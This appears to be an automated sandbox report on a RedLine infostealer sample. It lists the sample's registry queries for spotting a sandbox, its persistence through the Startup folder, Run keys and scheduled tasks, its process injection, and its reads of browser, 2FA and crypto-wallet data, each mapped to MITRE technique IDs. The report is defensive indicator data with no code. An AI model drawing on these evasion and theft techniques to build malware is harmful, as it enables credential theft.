redline | 5f30eae71c1b0d08e7ec5adfc9a0dc98078595502b60a584a8df5cdf8cacf7fa

System Information Discovery

Processes:

l6kR1XSSRKVBEoCfGITIQX0l.exeZX9sH3NHIsiDsNvSx5zC2qBo.exehnKrD4BXY8qwHP8HCgpfkTDH.exe4957458.scr1854101.scrWdfg8WvpR8_19HhvHKIe7G3d.exe6182235.screncgwjtCLXbT9_GrVkJHxbup.exeJh65q4aJuDum9Zct26Fltcg1.exe7462461.scr3421770.scr

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	l6kR1XSSRKVBEoCfGITIQX0l.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ZX9sH3NHIsiDsNvSx5zC2qBo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	hnKrD4BXY8qwHP8HCgpfkTDH.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	4957458.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	4957458.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	1854101.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Wdfg8WvpR8_19HhvHKIe7G3d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	6182235.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Wdfg8WvpR8_19HhvHKIe7G3d.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	l6kR1XSSRKVBEoCfGITIQX0l.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	encgwjtCLXbT9_GrVkJHxbup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	hnKrD4BXY8qwHP8HCgpfkTDH.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	6182235.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ZX9sH3NHIsiDsNvSx5zC2qBo.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	encgwjtCLXbT9_GrVkJHxbup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Jh65q4aJuDum9Zct26Fltcg1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7462461.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Jh65q4aJuDum9Zct26Fltcg1.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3421770.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3421770.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	1854101.scr
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7462461.scr

Drops startup file 1 IoCs

Processes:

zFpXrKxeWagX1P6uFIfqjXlw.exe

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MjpFiZVjH.exe	zFpXrKxeWagX1P6uFIfqjXlw.exe

Loads dropped DLL 64 IoCs

Processes:

setup_install.exeN6BLknPYFACQsBZp40O9Kt6v.exeN6BLknPYFACQsBZp40O9Kt6v.exesetup.tmpl6kR1XSSRKVBEoCfGITIQX0l.exe0SVsRGihR5M0yTEvwCefMLZh.exerundll32.exesetup.exemsiexec.exerundll32.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exeCalculator.exe

pid	Process
1608	setup_install.exe
1608	setup_install.exe
1608	setup_install.exe
1608	setup_install.exe
1608	setup_install.exe
1608	setup_install.exe
1608	setup_install.exe
4140	N6BLknPYFACQsBZp40O9Kt6v.exe
4724	N6BLknPYFACQsBZp40O9Kt6v.exe
1612	setup.tmp
5480	l6kR1XSSRKVBEoCfGITIQX0l.exe
2208	0SVsRGihR5M0yTEvwCefMLZh.exe
2208	0SVsRGihR5M0yTEvwCefMLZh.exe
2208	0SVsRGihR5M0yTEvwCefMLZh.exe
1200	rundll32.exe
6856	setup.exe
6856	setup.exe
3140	msiexec.exe
3140	msiexec.exe
5512	rundll32.exe
6856	setup.exe
6856	setup.exe
6328	Calculator.exe
6856	setup.exe
6328	Calculator.exe
6328	Calculator.exe
6856	setup.exe
2208	0SVsRGihR5M0yTEvwCefMLZh.exe
6428	Calculator.exe
5252	Calculator.exe
6660	Calculator.exe
6660	Calculator.exe
6660	Calculator.exe
824	Calculator.exe
824	Calculator.exe
1968	Calculator.exe
824	Calculator.exe
1968	Calculator.exe
1968	Calculator.exe
6660	Calculator.exe
7132	Calculator.exe
7132	Calculator.exe
7132	Calculator.exe
7132	Calculator.exe
6928	Calculator.exe
6928	Calculator.exe
6928	Calculator.exe
6928	Calculator.exe
2336	Calculator.exe
2336	Calculator.exe
2336	Calculator.exe
2336	Calculator.exe
3188	Calculator.exe
3188	Calculator.exe
3188	Calculator.exe
6852	Calculator.exe
6852	Calculator.exe
6852	Calculator.exe
3984	Calculator.exe
3984	Calculator.exe
3984	Calculator.exe
3712	Calculator.exe
3712	Calculator.exe
3712	Calculator.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 2 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
behavioral4/files/0x000300000001e5e6-298.dat	themida
behavioral4/files/0x000300000001e5f9-314.dat	themida

Accesses 2FA software files, possible credential harvesting 2 TTPs
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

5009037.scrsetup.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	5009037.scr
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run	setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Calculator = "C:\\Users\\Admin\\AppData\\Roaming\\Calculator\\Calculator.exe --DzBsjyZ8js"	setup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 11 IoCs

evasion trojan

System Information Discovery

Processes:

7462461.scr1854101.scrWdfg8WvpR8_19HhvHKIe7G3d.exel6kR1XSSRKVBEoCfGITIQX0l.exeencgwjtCLXbT9_GrVkJHxbup.exeZX9sH3NHIsiDsNvSx5zC2qBo.exe3421770.scr4957458.scrJh65q4aJuDum9Zct26Fltcg1.exe6182235.scrhnKrD4BXY8qwHP8HCgpfkTDH.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7462461.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	1854101.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Wdfg8WvpR8_19HhvHKIe7G3d.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	l6kR1XSSRKVBEoCfGITIQX0l.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	encgwjtCLXbT9_GrVkJHxbup.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	ZX9sH3NHIsiDsNvSx5zC2qBo.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3421770.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	4957458.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Jh65q4aJuDum9Zct26Fltcg1.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	6182235.scr
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	hnKrD4BXY8qwHP8HCgpfkTDH.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
3	ip-api.com
46	ipinfo.io
1	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 25 IoCs

Processes:

4957458.scr3421770.scr1854101.scr6182235.scr7462461.scrWdfg8WvpR8_19HhvHKIe7G3d.exeencgwjtCLXbT9_GrVkJHxbup.exel6kR1XSSRKVBEoCfGITIQX0l.exeZX9sH3NHIsiDsNvSx5zC2qBo.exeJh65q4aJuDum9Zct26Fltcg1.exehnKrD4BXY8qwHP8HCgpfkTDH.exeMFIvqtveIJOtB98EsTfUbmpS.exe

pid	Process
5160	4957458.scr
884	3421770.scr
4236	1854101.scr
1340	6182235.scr
5784	7462461.scr
4012	Wdfg8WvpR8_19HhvHKIe7G3d.exe
2944	encgwjtCLXbT9_GrVkJHxbup.exe
5480	l6kR1XSSRKVBEoCfGITIQX0l.exe
4924	ZX9sH3NHIsiDsNvSx5zC2qBo.exe
6284	Jh65q4aJuDum9Zct26Fltcg1.exe
6292	hnKrD4BXY8qwHP8HCgpfkTDH.exe
5032	MFIvqtveIJOtB98EsTfUbmpS.exe
5032	MFIvqtveIJOtB98EsTfUbmpS.exe
5032	MFIvqtveIJOtB98EsTfUbmpS.exe
5032	MFIvqtveIJOtB98EsTfUbmpS.exe
5032	MFIvqtveIJOtB98EsTfUbmpS.exe
5032	MFIvqtveIJOtB98EsTfUbmpS.exe
5032	MFIvqtveIJOtB98EsTfUbmpS.exe
5032	MFIvqtveIJOtB98EsTfUbmpS.exe
5032	MFIvqtveIJOtB98EsTfUbmpS.exe
5032	MFIvqtveIJOtB98EsTfUbmpS.exe
5032	MFIvqtveIJOtB98EsTfUbmpS.exe
5032	MFIvqtveIJOtB98EsTfUbmpS.exe
5032	MFIvqtveIJOtB98EsTfUbmpS.exe
5032	MFIvqtveIJOtB98EsTfUbmpS.exe

Suspicious use of SetThreadContext 7 IoCs

Processes:

Mon209c830507d573.exeMon20927aab1e5.exeN6BLknPYFACQsBZp40O9Kt6v.exeConhost.exe47D4FN37hbCWAFWj8BpHWoHQ.exeMFIvqtveIJOtB98EsTfUbmpS.exeservices64.exe

description	pid	Process	procid_target
PID 3512 set thread context of 5188	3512	Mon209c830507d573.exe	139
PID 4008 set thread context of 5776	4008	Mon20927aab1e5.exe	154
PID 4724 set thread context of 4140	4724	N6BLknPYFACQsBZp40O9Kt6v.exe	167
PID 4252 set thread context of 5392	4252	Conhost.exe	187
PID 5552 set thread context of 6972	5552	47D4FN37hbCWAFWj8BpHWoHQ.exe	239
PID 5032 set thread context of 2468	5032	MFIvqtveIJOtB98EsTfUbmpS.exe	250
PID 1948 set thread context of 1116	1948	services64.exe	260

Drops file in Program Files directory 3 IoCs

Processes:

l6kR1XSSRKVBEoCfGITIQX0l.exe

description	ioc	Process
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	l6kR1XSSRKVBEoCfGITIQX0l.exe
File created	C:\Program Files (x86)\FarLabUninstaller\is-6HNPM.tmp	l6kR1XSSRKVBEoCfGITIQX0l.exe
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	l6kR1XSSRKVBEoCfGITIQX0l.exe

Drops file in Windows directory 11 IoCs

Processes:

svchost.exeMjpFiZVjH.exesvchost.exeWerFault.exe

description	ioc	Process
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm	svchost.exe
File created	C:\Windows\System\svchost.exe	MjpFiZVjH.exe
File created	C:\Windows\System\xxx1.bak	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\ReportingEvents.log	svchost.exe
File created	C:\Windows\System\xxx1.bak	MjpFiZVjH.exe
File opened for modification	C:\Windows\System\svchost.exe	MjpFiZVjH.exe
File created	C:\Windows\AppCompat\Programs\Amcache.hve.tmp	WerFault.exe
File opened for modification	C:\Windows\WindowsUpdate.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log	svchost.exe
File opened for modification	C:\Windows\SoftwareDistribution\DataStore\DataStore.edb	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 12 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	Process	procid_target
928	4048	WerFault.exe	104
2980	3456	WerFault.exe	107
2784	3480	WerFault.exe	106
4912	4140	WerFault.exe	129
5232	5148	WerFault.exe	141
4892	4696	WerFault.exe	135
5608	4544	WerFault.exe	162
5356	5204	WerFault.exe	158
5896	5144	WerFault.exe	157
3944	5816	WerFault.exe	206
1124	1344	WerFault.exe	221
1508	4180	WerFault.exe	228

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

XYTsIPvUlrMFwA4Hz1n91jab.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	XYTsIPvUlrMFwA4Hz1n91jab.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	XYTsIPvUlrMFwA4Hz1n91jab.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	XYTsIPvUlrMFwA4Hz1n91jab.exe

Checks processor information in registry 2 TTPs 64 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exesvchost.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeN6BLknPYFACQsBZp40O9Kt6v.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	N6BLknPYFACQsBZp40O9Kt6v.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	WerFault.exe

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid	Process
2844	schtasks.exe
6600	schtasks.exe
6204	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

Processes:

timeout.exe

pid	Process
2744	timeout.exe

Enumerates system info in registry 2 TTPs 24 IoCs

Query Registry

System Information Discovery

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WerFault.exe

Kills process with taskkill 3 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exe

pid	Process
5352	taskkill.exe
5324	taskkill.exe
5468	taskkill.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

WaaSMedicAgent.exesvchost.exeWaaSMedicAgent.exesvchost.exe

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	WaaSMedicAgent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	svchost.exe
